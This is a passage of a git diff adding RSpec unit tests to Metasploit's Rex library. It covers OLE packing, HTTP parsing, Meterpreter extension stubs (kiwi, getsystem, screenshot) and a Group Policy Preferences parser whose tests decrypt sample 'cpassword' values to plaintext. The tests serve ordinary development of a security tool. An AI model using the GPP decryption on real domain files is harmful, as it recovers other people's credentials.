subject(:packed_quad_word) { described_class.pack64(value) } + let(:value) { 0x1122334455667788 } + + context "when @endian is little endian" do + it "returns the packed little endian quad word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x88\x77\x66\x55\x44\x33\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian quad word" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88") + end + end + end + + describe ".get32" do + subject(:word) { described_class.get32(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34\x56" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the little endian word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x44332211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x11223344) + end + end + end + + describe ".pack32" do + subject(:packed_word) { described_class.pack32(value) } + let(:value) { 0x11223344 } + + context "when @endian is little endian" do + it "returns the packed little endian word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x44\x33\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44") + end + end + end + + describe ".get32array" do + subject(:word_array) { described_class.get32array(buf) } + + context "when buf is empty" do + let(:buf) { '' } + + it "returns an empty array" do + is_expected.to eq([]) + end + end + + context "when buf isn't empty" do + let(:buf) { "\x11\x22\x33\x44\x55\x66\x77\x88" } + + context "when @endian is little endian" do + it "unpacks an array of little endian words" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq([0x44332211, 0x88776655]) + end + end + + context "when @endian is big endian" do + it "unpacks an array of big endian words" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq([0x11223344, 0x55667788]) + end + end + end + end + + describe ".pack32array" do + subject(:packed_word) { described_class.pack32array(arr) } + + context "when arr is empty" do + let(:arr) { [] } + it "returns an empty string" do + is_expected.to eq('') + end + end + + context "when arr isn't empty" do + let(:arr) { [0x11223344, 0x55667788] } + + context "when @endian is little endian" do + it "returns the little endian words array packed" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x44\x33\x22\x11\x88\x77\x66\x55") + end + end + + context "when @endian is big endian" do + it "returns the big endian words array packed" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88") + end + end + end + + end + + describe ".get16" do + subject(:half_word) { described_class.get16(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { half_word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44" } + let(:offset) { 1 } + + it "returns the little endian half word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x2211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44" } + let(:offset) { 1 } + + it "returns the big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x1122) + end + end + end + + describe ".pack16" do + subject(:packed_word) { described_class.pack16(value) } + let(:value) { 0x1122 } + + context "when @endian is little endian" do + it "returns the packed little endian word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22") + end + end + end + + describe ".get8" do + subject(:byte) { described_class.get8(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { byte }.to raise_error(NoMethodError) + end + end + + let(:buf) { "\x00\x11\x22" } + let(:offset) { 1 } + + it "returns the byte at offset" do + is_expected.to eq(0x11) + end + end + + describe ".pack8" do + subject(:packed_byte) { described_class.pack8(value) } + let(:value) { 0x11 } + + it "returns the packed byte" do + is_expected.to eq("\x11") + end + end + + describe ".getUnicodeString" do + subject(:unicode_string) { described_class.getUnicodeString(buf) } + let(:buf) { "T\x00h\x00i\x00s\x00 \x00i\x00s\x00 \x00a\x00n\x00 \x00u\x00n\x00i\x00c\x00o\x00d\x00e\x00 \x00s\x00t\x00r\x00i\x00n\x00g\x00" } + + it "unpacks unicode string" do + is_expected.to eq('This is an unicode string') + end + + context "when buf contains unicode nulls" do + let(:buf) { "T\x00h\x00\x00i\x00s\x00" } + + it "unpacks unicode string until null" do + is_expected.to eq('Th') + end + end + end + + describe ".putUnicodeString" do + subject(:packed_byte) { described_class.putUnicodeString(buf) } + let(:buf) { 'A' * 32 } + + it "returns the unicode version of the string" do + is_expected.to eq("A\x00" * 32) + end + + context "when buf is shorter than 32" do + let(:buf) { 'A' * 30 } + it "adds null byte padding" do + is_expected.to eq(("A\x00" * 30) + "\x00\x00\x00\x00") + end + end + end + + describe ".name_is_valid" do + subject(:valid_name) { described_class.name_is_valid(name) } + + context "when name length is greater than 31" do + let(:name) { 'A' * 32 } + it "returns nil" do + is_expected.to be_nil + end + end + + context "when name contains [0x00..0x1f] chars" do + let(:name) { "ABCDE\x1f" } + it "returns nil" do + is_expected.to be_nil + end + end + + context "when name doesn't contain [0x00..0x1f] chars" do + let(:name) { "ABCDE\x88" } + it "returns true" do + is_expected.to be_truthy + end + end + end +end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb new file mode 100644 index 0000000000..a2e61578a3 --- /dev/null +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -0,0 +1,165 @@ +# encoding: binary +require 'rex/parser/group_policy_preferences' + +xml_group = ' +<?xml version="1.0" encoding="utf-8"?> +<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}"><Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/></User> +</Groups> +' + +xml_datasrc = ' +<?xml version="1.0" encoding="utf-8"?> +<DataSources clsid="{380F820F-F21B-41ac-A3CC-24D4F80F067B}"><DataSource clsid="{5C209626-D820-4d69-8D50-1FACD6214488}" userContext="1" name="test" image="0" changed="2013-04-25 20:39:08" uid="{3513F923-9661-4819-9995-91A63C7D7A65}"><Properties action="C" userDSN="0" dsn="test" driver="test" description="" username="test" cpassword="eYbbv1GZI4DZEgTXPUDspw"><Attributes><Attribute name="test" value="test"/><Attribute name="test2" value="test2"/></Attributes></Properties></DataSource> +</DataSources> +' + +xml_drive = ' +<?xml version="1.0" encoding="utf-8"?> +<Drives clsid="{8FDDCC1A-0C3C-43cd-A6B4-71A6DF20DA8C}"><Drive clsid="{935D1B74-9CB8-4e3c-9914-7DD559B7A417}" name="E:" status="E:" image="0" changed="2013-04-25 20:33:02" uid="{016E2095-EAB5-43C0-8BCF-4C2655F709F5}"><Properties action="C" thisDrive="NOCHANGE" allDrives="NOCHANGE" userName="drivemap" path="drivemap" label="" persistent="0" useLetter="1" letter="E" cpassword="Lj3fkZ8E3AFAJPTSoBitKw"/></Drive> +</Drives> +' + +xml_schd = ' +<?xml version="1.0" encoding="utf-8"?> +<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="test1" image="2" changed="2013-04-25 20:30:13" uid="{41059D76-C7B4-4D05-9679-AE7510247B1F}"><Properties action="U" name="test1" appName="notepad.exe" args="" startIn="" comment="" runAs="test1" cpassword="DdGgLn/bpUNU/QjjcNvn4A" enabled="0"><Triggers><Trigger type="DAILY" startHour="8" startMinutes="0" beginYear="2013" beginMonth="4" beginDay="25" hasEndDate="0" repeatTask="0" interval="1"/></Triggers></Properties></Task> +</ScheduledTasks> +' + +xml_serv = ' +<?xml version="1.0" encoding="utf-8"?> +<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}"><NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="Blah" image="0" changed="2013-04-25 20:29:49" uid="{C6AE4201-9F99-46AB-93C2-9D734D87D343}"><Properties startupType="NOCHANGE" serviceName="Blah" timeout="30" accountName="bob" cpassword="OQWR9sf5FTlGgh8SJX31ug"/></NTService> +</NTServices> +' + +xml_ms = ' +<?xml version="1.0" encoding="utf-8"?> +<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}" + disabled="1"> + <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" + name="DbAdmin" + image="2" + changed="2007-07-06 20:45:20" + uid="{253F4D90-150A-4EFB-BCC8-6E894A9105F7}"> + <Properties + action="U" + newName="" + fullName="Database Admin" + description="Local Database Admin" + cpassword="demo" + changeLogon="0" + noChange="0" + neverExpires="0" + acctDisabled="1" + userName="DbAdmin"/> + </User> + <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" + name="Database Admins" + image="2" + changed="2007-07-06 20:46:21" + uid="{C5FB3901-508A-4A9E-9171-60D4FC2B404B}"> + <Properties + action="U" + newName="" + description="Local Database Admins" + userAction="REMOVE" + deleteAllUsers="1" + deleteAllGroups="1" + removeAccounts="0" + groupName="Database Admins"> + <Members> + <Member + name="domain\sampleuser" + action="ADD" + sid=""/> + </Members> + </Properties> + </Group> +</Groups> +' + +# Win2k8 appears to append some junk padding in some cases +cpassword_win2k8 = [] +# Win2k8R2 - EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wEMON8tIIslS6707RU1F7Bh +cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wEMON8tIIslS6707RU1F7BhTµkp', 'N3v3rGunnaG!veYo'] +cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wGSwOI7Be//GJdxd5YYXUQHTµkp', 'N3v3rGunnaG!veYou'] +# Win2k8R2 - EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuKnwF0WS +cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuKnwF0WS»YÂVAA', 'N3v3rGunnaG!veYouUp'] +cpassword_normal = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" +cpassword_bad = "blah" + +describe Rex::Parser::GPP do + GPP = Rex::Parser::GPP + + ## + # Decrypt + ## + it "Decrypt returns Local*P4ssword! for normal cpassword" do + result = GPP.decrypt(cpassword_normal) + result.should eq("Local*P4ssword!") + end + + it "Decrypt returns blank for bad cpassword" do + result = GPP.decrypt(cpassword_bad) + result.should eq("") + end + + it "Decrypt returns blank for nil cpassword" do + result = GPP.decrypt(nil) + result.should eq("") + end + + it 'Decrypts a cpassword containing junk padding' do + cpassword_win2k8.each do |encrypted, expected| + result = GPP.decrypt(encrypted) + result.should eq(expected) + end + end + + ## + # Parse + ## + + it "Parse returns empty [] for nil" do + GPP.parse(nil).should be_empty + end + + it "Parse returns results for xml_ms and password is empty" do + results = GPP.parse(xml_ms) + results.should_not be_empty + results[0][:PASS].should be_empty + end + + it "Parse returns results for xml_datasrc, and attributes, and password is test1" do + results = GPP.parse(xml_datasrc) + results.should_not be_empty + results[0].include?(:ATTRIBUTES).should be_truthy + results[0][:ATTRIBUTES].should_not be_empty + results[0][:PASS].should eq("test") + end + + xmls = [] + xmls << xml_group + xmls << xml_drive + xmls << xml_schd + xmls << xml_serv + xmls << xml_datasrc + + it "Parse returns results for all good xmls and passwords" do + xmls.each do |xml| + results = GPP.parse(xml) + results.should_not be_empty + results[0][:PASS].should_not be_empty + end + end + + ## + # Create_Tables + ## + it "Create_tables returns tables for all good xmls" do + xmls.each do |xml| + results = GPP.parse(xml) + tables = GPP.create_tables(results, "test") + tables.should_not be_empty + end + end +end diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 980c469ef5..8e1de52e94 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -16,7 +16,7 @@ comb = REXML::Document.new('<unattend xmlns="urn:schemas-microsoft-com:unattend" describe Rex::Parser::Unattend do context "#parse" do - it "returns passwords for b64" do + it "returns passwords for b64" do results = described_class.parse(b64) results.length.should eq(2) results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) diff --git a/spec/lib/rex/post/meterpreter/client_core_spec.rb b/spec/lib/rex/post/meterpreter/client_core_spec.rb new file mode 100644 index 0000000000..0773a58666 --- /dev/null +++ b/spec/lib/rex/post/meterpreter/client_core_spec.rb @@ -0,0 +1,53 @@ +require 'spec_helper' +require 'rex/post/meterpreter/client_core' + +describe Rex::Post::Meterpreter::ClientCore do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::ClientCore) + end + + describe "#use" do + + before(:each) do + @response = double("response") + allow(@response).to receive(:result) { 0 } + allow(@response).to receive(:each) { [:help] } + @client = double("client") + allow(@client).to receive(:binary_suffix) { "x64.dll" } + allow(@client).to receive(:capabilities) { {:ssl => false, :zlib => false } } + allow(@client).to receive(:response_timeout) { 1 } + allow(@client).to receive(:send_packet_wait_response) { @response } + allow(@client).to receive(:add_extension) { true } + end + + let(:client_core) {described_class.new(@client)} + it 'should respond to #use' do + expect(client_core).to respond_to(:use) + end + + context 'with a gemified module' do + let(:mod) {"kiwi"} + it 'should be available' do + expect(client_core.use(mod)).to be_truthy + end + end + + context 'with a local module' do + let(:mod) {"sniffer"} + it 'should be available' do + expect(client_core.use(mod)).to be_truthy + end + end + + context 'with a missing a module' do + let(:mod) {"eaten_by_av"} + it 'should be available' do + expect { client_core.use(mod) }.to raise_error(RuntimeError) + end + end + + + end + +end diff --git a/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb new file mode 100644 index 0000000000..4d336b617d --- /dev/null +++ b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb @@ -0,0 +1,41 @@ +require 'spec_helper' +require 'rex/post/meterpreter/extension' +require 'rex/post/meterpreter/extensions/priv/priv' + +describe Rex::Post::Meterpreter::Extensions::Priv::Priv do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Priv::Priv) + end + + describe "#getsystem" do + before(:each) do + @client = double("client") + allow(@client).to receive(:register_extension_aliases) { [] } + end + + let(:priv) {described_class.new(@client)} + it 'should respond to #getsystem' do + expect(priv).to respond_to(:getsystem) + end + + it 'should return itself' do + expect(priv).to be_kind_of(described_class) + end + + it 'should have some instance variables' do + expect(priv.instance_variables).to include(:@client) + expect(priv.instance_variables).to include(:@name) + expect(priv.instance_variables).to include(:@fs) + end + + it 'should respond to fs' do + expect(priv).to respond_to(:fs) + end + + it 'should have a name of priv' do + expect(priv.name).to eq("priv") + end + + end +end diff --git a/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb new file mode 100644 index 0000000000..e36c742a0a --- /dev/null +++ b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb @@ -0,0 +1,33 @@ +require 'spec_helper' +require 'rex/post/meterpreter' +require 'rex/post/meterpreter/extensions/stdapi/ui' + +describe Rex::Post::Meterpreter::Extensions::Stdapi::UI do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Stdapi::UI) + end + + describe "#screenshot" do + + before(:each) do + @client = double("client") + end + + let(:ui) { described_class.new(@client) } + it 'should respond to #screenshot' do + expect(ui).to respond_to(:screenshot) + end + + it 'should return itself' do + expect(ui).to be_kind_of(described_class) + end + + it 'should have an instance variable' do + expect(ui.instance_variables).to include(:@client) + end + + end + +end + diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 9e40707146..40da740f0a 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -230,17 +230,17 @@ describe Rex::Post::Meterpreter::GroupTlv do end it "should raise an error when given something other than nil or an array" do - pending "RM #7598" + skip "RM #7598" group_tlv.add_tlvs("bad value").should raise_error end it "should raise an error when given an array of objects other than hashes" do - pending "RM #7598" + skip "RM #7598" group_tlv.add_tlvs([1,2,3]).should raise_error end it "should raise an error when any of the hashes are missing a key" do - pending "RM #7598" + skip "RM #7598" tlv_array = [ {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING, :value => "test"}, {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING} diff --git a/spec/lib/rex/post/meterpreter/ui/console.rb b/spec/lib/rex/post/meterpreter/ui/console.rb new file mode 100644 index 0000000000..bd0d7d76a4 --- /dev/null +++ b/spec/lib/rex/post/meterpreter/ui/console.rb @@ -0,0 +1,27 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/post/meterpreter/ui/console' + +describe Rex::Post::Meterpreter::Ui::Console do + + subject(:console) do + Rex::Post::Meterpreter::Ui::Console.new(nil) + end + + describe "#run_command" do + let(:dispatcher) do + double + end + + it "logs error when Rex::AddressInUse is raised" do + allow(dispatcher).to receive(:cmd_address_in_use) do + raise Rex::AddressInUse, "0.0.0.0:80" + end + + expect(subject).to receive(:log_error).with("The address is already in use (0.0.0.0:80).") + subject.run_command(dispatcher, "address_in_use", nil) + end + end + +end diff --git a/spec/lib/rex/post/meterpreter_spec.rb b/spec/lib/rex/post/meterpreter_spec.rb new file mode 100644 index 0000000000..cf917d1032 --- /dev/null +++ b/spec/lib/rex/post/meterpreter_spec.rb @@ -0,0 +1,8 @@ +require 'spec_helper' +require 'rex/post/meterpreter' + +describe MeterpreterBinaries do + it 'is available' do + expect(described_class).to eq(MeterpreterBinaries) + end +end diff --git a/spec/lib/rex/proto/acpp/message_spec.rb b/spec/lib/rex/proto/acpp/message_spec.rb new file mode 100644 index 0000000000..97e5569d39 --- /dev/null +++ b/spec/lib/rex/proto/acpp/message_spec.rb @@ -0,0 +1,83 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/acpp' + +describe Rex::Proto::ACPP::Message do + + subject(:message) do + described_class.new + end + + # retrieve_public.bin has the contents of a message type 20 (retrieve + # settings) message with a password of public. There is no payload. + let(:retrieve_public_bin) do + IO.read(File.join(File.dirname(__FILE__), 'retrieve_public.bin')) + end + + let(:retrieve_public_message) do + message.password = 'public' + message.type = 20 + message + end + + describe '#==' do + it 'considers two different objects composed of equal parts equal' do + message2 = described_class.new + message2.password = 'public' + message2.type = 20 + expect(message2).to eq(retrieve_public_message) + end + it 'considers two different objects composed of different parts unequal' do + message3 = described_class.new + message3.type = 1 + message3.password = 'private' + expect(message3).not_to eq(retrieve_public_message) + end + end + + describe '#to_s' do + it 'encodes properly' do + expect(retrieve_public_bin).to eq(retrieve_public_message.to_s) + end + end + + describe '#decode' do + it 'fails to decode if the message is the wrong size' do + small = Rex::Text.rand_text_alpha(100) + large = Rex::Text.rand_text_alpha(200) + expect { described_class.decode(small) }.to raise_error(/size #{small.size}/i) + expect { described_class.decode(large) }.to raise_error(/size #{large.size}/i) + end + it 'fails to decode if the required header is incorrect' do + retrieve_public_bin[0,4] = 'blah' + expect { described_class.decode(retrieve_public_bin) }.to raise_error(/header/i) + end + it 'decodes properly when the required checksum is correct' do + expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin)) + expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, true)) + end + it 'decodes properly when the non-required checksum is correct' do + expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, false)) + end + it 'decodes properly when the message checksum is incorrect' do + retrieve_public_bin[7,4] = "\x01\x02\x03\x04" + expect { described_class.decode(retrieve_public_bin) }.to raise_error(/message checksum/i) + expect { described_class.decode(retrieve_public_bin, true) }.to raise_error(/message checksum/i) + expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, false)) + end + end + + describe '#successful?' do + it 'is successful when 0' do + message = described_class.new + message.status = 0 + expect(message.successful?).to be true + end + it 'is successful when !0' do + message = described_class.new + message.status = 1 + expect(message.successful?).to be false + end + end +end diff --git a/spec/lib/rex/proto/acpp/retrieve_public.bin b/spec/lib/rex/proto/acpp/retrieve_public.bin new file mode 100644 index 0000000000..bc0140de7f Binary files /dev/null and b/spec/lib/rex/proto/acpp/retrieve_public.bin differ diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index c76a9d2dee..14f13a776d 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -189,6 +189,9 @@ describe Rex::Proto::Http::ClientRequest do 'foo[]' => 'bar', 'bar' => 'baz', 'frobnicate' => 'the froozle?', + 'foshizzle' => 'my/nizzle', + 'asdf' => nil, + 'test' => '' } end @@ -215,6 +218,9 @@ describe Rex::Proto::Http::ClientRequest do str.should include("foo[]=bar") str.should include("bar=baz") str.should include("frobnicate=the froozle?") + str.should include("foshizzle=my/nizzle") + str.should include("asdf&") + str.should include("test=") end end @@ -226,6 +232,20 @@ describe Rex::Proto::Http::ClientRequest do str.should include("foo%5b%5d=bar") str.should include("bar=baz") str.should include("frobnicate=the%20froozle%3f") + str.should include("foshizzle=my/nizzle") + str.should include("asdf&") + str.should include("test=") + end + end + + context "and 'uri_encode_mode' = hex-noslashes" do + let(:encode_mode) { 'hex-noslashes' } + it "should encode all chars" do + str = client_request.to_s + str.should include("%66%6f%6f%5b%5d=%62%61%72") + str.should include("%62%61%72=%62%61%7a") + str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + str.should include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79/%6e%69%7a%7a%6c%65") end end @@ -236,6 +256,7 @@ describe Rex::Proto::Http::ClientRequest do str.should include("%66%6f%6f%5b%5d=%62%61%72") str.should include("%62%61%72=%62%61%7a") str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + str.should include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79%2f%6e%69%7a%7a%6c%65") end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index ce696da4ca..82d53762ed 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -30,10 +30,19 @@ describe Rex::Proto::Http::Client do end let(:ip) { "1.2.3.4" } + subject(:cli) do Rex::Proto::Http::Client.new(ip) end + describe "#set_config" do + + it "should respond to #set_config" do + cli.set_config.should == {} + end + + end + it "should respond to intialize" do cli.should be end @@ -42,7 +51,7 @@ describe Rex::Proto::Http::Client do cli.instance_variable_get(:@hostname).should == ip cli.instance_variable_get(:@port).should == 80 cli.instance_variable_get(:@context).should == {} - cli.instance_variable_get(:@ssl).should be_false + cli.instance_variable_get(:@ssl).should be_falsey cli.instance_variable_get(:@proxies).should be_nil cli.instance_variable_get(:@username).should be_empty cli.instance_variable_get(:@password).should be_empty @@ -112,6 +121,7 @@ describe Rex::Proto::Http::Client do conn.stub(:put) conn.stub(:shutdown) conn.stub(:close) + conn.stub(:closed? => false) conn.should_receive(:get_once).and_return(first_response, authed_response) conn.should_receive(:put) do |str_request| @@ -146,27 +156,27 @@ describe Rex::Proto::Http::Client do cli.close.should be_nil end - it "should send a request and receive a response", :pending => excuse_needs_connection do + it "should send a request and receive a response", :skip => excuse_needs_connection do end - it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do + it "should send a request and receive a response without auth handling", :skip => excuse_needs_connection do end - it "should send a request", :pending => excuse_needs_connection do + it "should send a request", :skip => excuse_needs_connection do end it "should test for credentials" do - pending "Should actually respond to :has_creds" do + skip "Should actually respond to :has_creds" do cli.should_not have_creds this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) this_cli.should have_creds end end - it "should send authentication", :pending => excuse_needs_connection + it "should send authentication", :skip => excuse_needs_connection it "should produce a basic authentication header" do u = "user1" @@ -175,15 +185,15 @@ describe Rex::Proto::Http::Client do cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" end - it "should perform digest authentication", :pending => excuse_needs_auth do + it "should perform digest authentication", :skip => excuse_needs_auth do end - it "should perform negotiate authentication", :pending => excuse_needs_auth do + it "should perform negotiate authentication", :skip => excuse_needs_auth do end - it "should get a response", :pending => excuse_needs_connection do + it "should get a response", :skip => excuse_needs_connection do end @@ -192,7 +202,7 @@ describe Rex::Proto::Http::Client do end it "should test if a connection is valid" do - cli.conn?.should be_false + cli.conn?.should be_falsey end it "should tell if pipelining is enabled" do @@ -214,11 +224,11 @@ describe Rex::Proto::Http::Client do cli.should respond_to :username cli.should respond_to :password cli.should respond_to :junk_pipeline - # These are supposed to be protected - cli.should respond_to :ssl - cli.should respond_to :ssl_version - cli.should respond_to :hostname - cli.should respond_to :port + # These are protected. Why are they protected? Hysterical raisins. + #cli.should respond_to :ssl + #cli.should respond_to :ssl_version + #cli.should respond_to :hostname + #cli.should respond_to :port end # Not super sure why these are protected... diff --git a/spec/lib/rex/proto/http/packet/header_spec.rb b/spec/lib/rex/proto/http/packet/header_spec.rb new file mode 100644 index 0000000000..d6da40de0c --- /dev/null +++ b/spec/lib/rex/proto/http/packet/header_spec.rb @@ -0,0 +1,89 @@ + +require 'spec_helper' +require 'rex/proto/http/packet/header' + +describe Rex::Proto::Http::Packet::Header do + + it_behaves_like "hash with insensitive keys" + + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Content-Length: 0\r\n" \ + "Foo: Bar\r\n" \ + "Bar: Baz\r\n" \ + "Combine-me: one\r\n" \ + "Combine-me: two\r\n" \ + "\r\n" + end + + describe "#from_s" do + subject(:headers) do + h = described_class.new + h.from_s(original_str) + h + end + + it "should create keys and values for each header" do + expect(headers['Foo']).to eq "Bar" + expect(headers['Content-Length']).to eq "0" + end + + it "should combine headers" do + expect(headers['Combine-me']).to eq "one, two" + end + + context "with folding" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Spaces:\r\n" \ + " Bar\r\n" \ + "Tabs:\r\n" \ + "\tBar\r\n" \ + "\r\n" + end + it "should recognize spaces" do + expect(headers['Spaces']).to eq "Bar" + end + it "should recognize tabs" do + expect(headers['Tabs']).to eq "Bar" + end + end + + end + + describe "#to_s" do + subject(:header_string) do + h = described_class.new + h.from_s(original_str) + h.to_s + end + + context "without combining" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Bar: Baz\r\n" \ + "\r\n" + end + + it "should return the same string" do + expect(header_string).to eq original_str + end + end + context "with combining" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Foo: Baz\r\n" \ + "Foo: Bab\r\n" \ + "\r\n" + end + it "should produce an equivalent string" do + #pending "who knows" + combined = "Foo: Bar, Baz, Bab\r\n\r\n" + expect(header_string).to eq combined + end + end + end + +end diff --git a/spec/lib/rex/proto/http/packet_spec.rb b/spec/lib/rex/proto/http/packet_spec.rb new file mode 100644 index 0000000000..8fac5eebcd --- /dev/null +++ b/spec/lib/rex/proto/http/packet_spec.rb @@ -0,0 +1,53 @@ + +require 'spec_helper' +require 'rex/proto/http/packet' + +describe Rex::Proto::Http::Packet do + it_behaves_like "hash with insensitive keys" + + describe "#parse" do + let :body do + "Super body" + end + subject do + s = described_class.new + s.parse packet_str + + s + end + context "with a request packet" do + let :packet_str do + "GET / HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Content-Length: #{body.length}\r\n" \ + "\r\n" \ + "#{body}" + end + + it "should have correct headers" do + subject["foo"].should == "Bar" + subject["Content-Length"].should == body.length.to_s + subject.cmd_string.should == "GET / HTTP/1.0\r\n" + subject.body.should == body + end + end + + context "with a response packet" do + let :packet_str do + "HTTP/1.0 200 OK\r\n" \ + "Foo: Bar\r\n" \ + "Content-Length: #{body.length}\r\n" \ + "\r\n" \ + "#{body}" + end + + it "should have correct headers" do + subject["foo"].should == "Bar" + subject["Content-Length"].should == body.length.to_s + subject.cmd_string.should == "HTTP/1.0 200 OK\r\n" + subject.body.should == body + end + end + + end +end diff --git 